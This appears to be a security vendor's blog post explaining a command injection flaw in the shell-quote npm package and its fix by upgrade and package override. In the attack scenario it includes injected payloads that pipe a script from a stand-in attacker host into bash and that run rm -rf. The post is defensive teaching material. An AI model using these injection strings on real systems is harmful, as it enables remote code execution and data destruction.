Back to Blog
critical SEVERITY9 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject arbitrary shell commands into parsed strings. The fix upgrades shell-quote to 1.9.0 via a package override in the docs-site's package.json, closing the attack surface without affecting valid inputs. This vulnerability was flagged by Trivy in the Docusaurus-based documentation site's dependency tree.

O
By Orbis AppSec
Published August 19, 2026Reviewed August 19, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the shell-quote npm package versions prior to 1.9.0, where unescaped line terminators (`\n`, `\r`) in shell-quoted strings could be exploited to inject and execute arbitrary shell commands. The vulnerability affects any Node.js application that passes user-influenced input through shell-quote for command construction. The fix is to upgrade shell-quote to 1.9.0 and add a package override in package.json to ensure the patched version is resolved throughout the dependency tree, preventing any transitive dependency from pulling in the vulnerable version.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUpgrade shell-quote from 1.8.3 to 1.9.0 and pin the version via a package.json override
riskArbitrary shell command execution via crafted input strings containing newline characters
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape `\n` and `\r` line terminator characters, allowing them to break out of quoted shell arguments
vulnerabilityCommand Injection via Unescaped Line Terminators

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It


Vulnerability at a Glance

Field Detail
CVE CVE-2026-9277
Severity Critical
Package shell-quote
Affected version 1.8.3
Fixed version 1.9.0
CWE CWE-78 — OS Command Injection
Detected by Trivy

Introduction

The docs-site/package-lock.json file in this Docusaurus-based documentation project quietly carried a critical time bomb: shell-quote version 1.8.3, a transitive dependency pulled in through the @docusaurus ecosystem. On its own, a documentation site might seem like an unlikely target for command injection — but shell-quote is a foundational utility used across the Node.js ecosystem to safely construct shell command strings from user-supplied arguments. When that utility fails to escape special characters, the blast radius extends to every tool in the dependency tree that relies on it.

CVE-2026-9277 reveals exactly this failure: shell-quote 1.8.3 does not escape line terminator characters (\n and \r) when quoting shell arguments. An attacker who can influence input flowing through this library can break out of a quoted argument and inject arbitrary shell commands — silently, on a new line, where many security checks never look.


The Vulnerability Explained

What shell-quote Is Supposed to Do

The shell-quote package provides two core functions:
- quote(args) — Takes an array of strings and returns a single, safely shell-escaped string suitable for passing to a shell.
- parse(cmd) — Parses a shell command string back into tokens.

The library is widely used in build tools, task runners, and CLI utilities to safely interpolate user-provided values into shell commands. The contract is simple: after calling quote(), the output should be safe to pass to a shell regardless of what characters the input contains.

The Flaw: Line Terminators Slip Through

In version 1.8.3, the quoting logic correctly handles many special characters — spaces, quotes, semicolons, backticks — but fails to escape newline (\n) and carriage return (\r) characters. This is the vulnerable behavior:

// shell-quote 1.8.3 — vulnerable behavior
const quote = require('shell-quote').quote;

// Attacker-controlled input containing a newline
const userInput = "safe-value\nrm -rf /tmp/important";

const cmd = quote(['myprogram', userInput]);
// Output: "myprogram 'safe-value\nrm -rf /tmp/important'"
// When passed to a shell, the newline terminates the first command
// and 'rm -rf /tmp/important' executes as a separate command

The shell interprets a newline as a command separator, identical to a semicolon. Even though the value is wrapped in single quotes in some contexts, the unescaped \n causes the shell to treat everything after it as a new, independent command.

A Concrete Attack Scenario

Consider a Node.js build script in the documentation site that uses shell-quote to construct a command from a configuration value — for example, a plugin option that specifies a post-processing script name:

const { quote } = require('shell-quote');
const { execSync } = require('child_process');

// pluginName comes from a config file or environment variable
function runPlugin(pluginName) {
  const cmd = quote(['node', 'scripts/run-plugin.js', pluginName]);
  execSync(cmd, { shell: true });
}

// Attacker supplies:
runPlugin("myplugin\ncurl http://attacker.com/shell.sh | bash");

With shell-quote 1.8.3, the resulting command string is:

node scripts/run-plugin.js 'myplugin
curl http://attacker.com/shell.sh | bash'

The shell sees two commands separated by a newline and executes both. The attacker achieves remote code execution by injecting a newline character — a value that many input validation routines never think to check.

Why This Is Critical in a Docusaurus Dependency Tree

Even though this is a documentation site, the Docusaurus build pipeline invokes numerous shell operations during asset compilation, plugin execution, and MDX processing. Any point in that pipeline where externally influenced data (environment variables, config file values, file paths from the filesystem) passes through shell-quote becomes an exploitation vector.


The Fix

What Changed

The fix involves two coordinated changes across docs-site/package-lock.json and docs-site/package.json.

1. package-lock.json — Upgrading the Resolved Version

 "node_modules/shell-quote": {
-  "version": "1.8.3",
-  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
-  "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+  "version": "1.9.0",
+  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
+  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",
   "license": "MIT",
   "engines": {
     "node": ">= 0.4"

This updates the resolved package from 1.8.3 to 1.9.0. Version 1.9.0 adds proper escaping for \n and \r characters, ensuring that line terminators are neutralized before they can reach a shell interpreter.

2. package.json — Pinning with an Override

+  "overrides": {
+    "shell-quote": "1.9.0"
+  }

This is the critical second step. Because shell-quote is a transitive dependency — not directly declared by the docs-site but pulled in by @docusaurus packages — simply updating the lock file is not durable. The next npm install could re-resolve shell-quote to any version that satisfies the upstream range, potentially re-introducing 1.8.3.

The "overrides" field in package.json forces npm to resolve all instances of shell-quote in the dependency tree — direct or transitive — to exactly version 1.9.0. This is the npm-native equivalent of Yarn's "resolutions" field.

3. Bonus: Pinning the Mermaid Theme Version

-"@docusaurus/theme-mermaid": "^3.9.2",
+"@docusaurus/theme-mermaid": "3.9.2",

The caret (^) in the original allowed npm to resolve @docusaurus/theme-mermaid to any compatible minor or patch release, which could introduce new transitive dependencies including vulnerable versions of shell-quote. Pinning to the exact version 3.9.2 removes this variability and ensures the dependency tree remains deterministic.

How Version 1.9.0 Fixes the Escape Logic

In shell-quote 1.9.0, the quote() function now includes line terminators in its set of characters requiring special handling. Newline and carriage return characters are either escaped or cause the surrounding argument to be handled in a way that prevents shell interpretation as a command separator. The result:

// shell-quote 1.9.0 — patched behavior
const quote = require('shell-quote').quote;

const userInput = "safe-value\nrm -rf /tmp/important";
const cmd = quote(['myprogram', userInput]);
// Output: a properly escaped string where \n cannot act as a command separator
// The injected command never reaches the shell as a separate instruction

Prevention & Best Practices

1. Prefer execFile() Over exec() for Shell Commands

The root cause of shell injection vulnerabilities is passing untrusted data through a shell interpreter. Node.js's child_process.execFile() bypasses the shell entirely, passing arguments directly to the OS:

// Vulnerable pattern
const { exec } = require('child_process');
exec(`myprogram ${userInput}`);  // Shell interprets userInput

// Safe pattern
const { execFile } = require('child_process');
execFile('myprogram', [userInput]);  // No shell involved, no injection possible

2. Always Pin Transitive Dependencies That Handle Security-Sensitive Operations

Any npm package that touches shell execution, file paths, or cryptography should be pinned explicitly. Use "overrides" (npm 8.3+) or "resolutions" (Yarn) to enforce specific versions:

{
  "overrides": {
    "shell-quote": "1.9.0",
    "minimist": "1.2.8"
  }
}

3. Integrate Vulnerability Scanning into CI/CD

Add Trivy, npm audit, or Snyk to your CI pipeline to catch vulnerable transitive dependencies before they reach production:

# Example GitHub Actions step
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    scan-ref: '.'
    severity: 'CRITICAL,HIGH'
    exit-code: '1'

4. Validate and Reject Newline Characters in All User Inputs

Even with a patched shell-quote, defense-in-depth means validating inputs before they reach any shell-adjacent code:

function sanitizeForShell(input) {
  if (/[\n\r]/.test(input)) {
    throw new Error('Input contains illegal line terminator characters');
  }
  return input;
}

5. Reference Security Standards


Key Takeaways

  • Unescaped \n and \r characters in shell-quote 1.8.3 are command separators, not harmless whitespace — any input containing them can inject a second shell command after the newline.
  • Updating package-lock.json alone is not enough for transitive dependencies; the "overrides" field in package.json is required to make the fix durable across future npm install runs.
  • The ^ semver prefix on @docusaurus/theme-mermaid was a hidden risk — removing it prevents future npm resolutions from silently pulling in vulnerable transitive dependencies.
  • Documentation sites are not immune to command injection — any Node.js build pipeline that processes external input (config files, environment variables, file paths) through shell utilities is a potential target.
  • shell-quote is a foundational security primitive: when it fails, every tool in the ecosystem that relies on it for safe command construction inherits the vulnerability.

How Orbis AppSec Detected This

  • Source: Externally influenced input (configuration values, environment variables, file paths) flowing into shell-quote's quote() function during the Docusaurus build pipeline.
  • Sink: Any call to shell-quote's quote() function in node_modules/shell-quote version 1.8.3, which is resolved as a transitive dependency in docs-site/package-lock.json.
  • Missing control: The quote() function in version 1.8.3 lacked escaping logic for line terminator characters (\n, \r), allowing them to pass through unmodified and act as shell command separators.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: shell-quote was upgraded from 1.8.3 to 1.9.0 in package-lock.json, and a "overrides": { "shell-quote": "1.9.0" } entry was added to package.json to pin the patched version across the full dependency tree.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a reminder that command injection vulnerabilities don't always announce themselves with obvious exec(userInput) patterns. Sometimes the danger hides in a transitive dependency three levels deep in your lock file — a utility trusted to make shell operations safe, quietly failing at the one character class it should never have overlooked.

The fix here is precise and instructive: upgrade shell-quote to 1.9.0, pin the version with "overrides" so npm can't drift back to a vulnerable resolution, and remove the semver flexibility that allowed the vulnerable version to sneak in as a transitive dependency in the first place. Each of these three changes addresses a different layer of the problem — the vulnerability itself, the dependency resolution mechanism, and the version range permissiveness that created the exposure.

For Node.js developers, this case underscores a principle worth internalizing: any package that sits on the boundary between user input and shell execution is a security-critical dependency, and it deserves the same pinning, auditing, and upgrade discipline you'd apply to your authentication library.


References

Frequently Asked Questions

What is a command injection vulnerability via unescaped line terminators?

It's a flaw where newline characters (`\n`, `\r`) embedded in a shell-quoted string are not properly escaped, allowing an attacker to inject additional shell commands that execute after the line break, bypassing the quoting mechanism entirely.

How do you prevent command injection in Node.js shell utilities?

Always use a well-maintained shell-quoting library at a patched version, pin transitive dependencies using package overrides, avoid constructing shell commands from user input when possible, and prefer `child_process.execFile()` (which avoids a shell) over `exec()`.

What CWE is command injection?

Command injection maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is upgrading the direct dependency enough to prevent this vulnerability?

Not always. Because shell-quote is often a transitive dependency (pulled in by tools like Docusaurus), you must also add a `"overrides"` entry in package.json to ensure npm resolves the patched version throughout the entire dependency tree.

Can static analysis detect this type of command injection?

Yes. Tools like Trivy (which flagged this CVE) and Semgrep can detect known-vulnerable package versions in lock files. Dynamic analysis and manual code review are also effective at identifying untrusted data flowing into shell-quoting functions.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #225

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

critical

How Distributed Lock Takeover Happens in Node.js and How to Fix It

A critical vulnerability in `redis-lock/server.mjs` allowed any authenticated client to release another client's lock by guessing predictable holder identifiers like process IDs or hostnames. The fix implements cryptographically random `lockId` values that are minted on lock acquisition and validated on release, eliminating the exploit primitive entirely.

high

How Denial of Service via Infinite Loop happens in JavaScript (nanoid) and how to fix it

A high-severity denial of service vulnerability (CVE-2026-67213) was discovered in nanoid versions before 5.1.6 and 3.3.18, where the `customAlphabet` function could enter an infinite loop during random ID generation. The fix upgrades the transitive nanoid dependency from 3.3.16 to 3.3.18 using pnpm overrides, ensuring the vulnerable code path is eliminated from the entire dependency tree including PostCSS.

high

How Information Disclosure via Unstripped Credential Headers Happens in Electron Apps and How to Fix It

A high-severity vulnerability (CVE-2026-54673) in the builder-util-runtime package allowed sensitive credential headers to leak during HTTP redirects in Electron applications. The fix upgrades builder-util-runtime from version 9.5.1 to 9.7.0, which properly strips authentication headers before following redirects to prevent information disclosure.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How Missing CSRF Middleware happens in Express.js and how to fix it

A high-severity CSRF vulnerability was discovered in `libProxy.js` of an Express.js application — the app had no CSRF middleware protecting its state-changing routes, leaving them open to cross-site request forgery attacks. The fix introduces a `csrf` token library, a `/csrf-token` endpoint to issue tokens, and a middleware that validates `x-csrf-token` headers or `_csrf` body fields on all non-safe HTTP methods. This proactive hardening removes an exploit primitive that could be chained with ot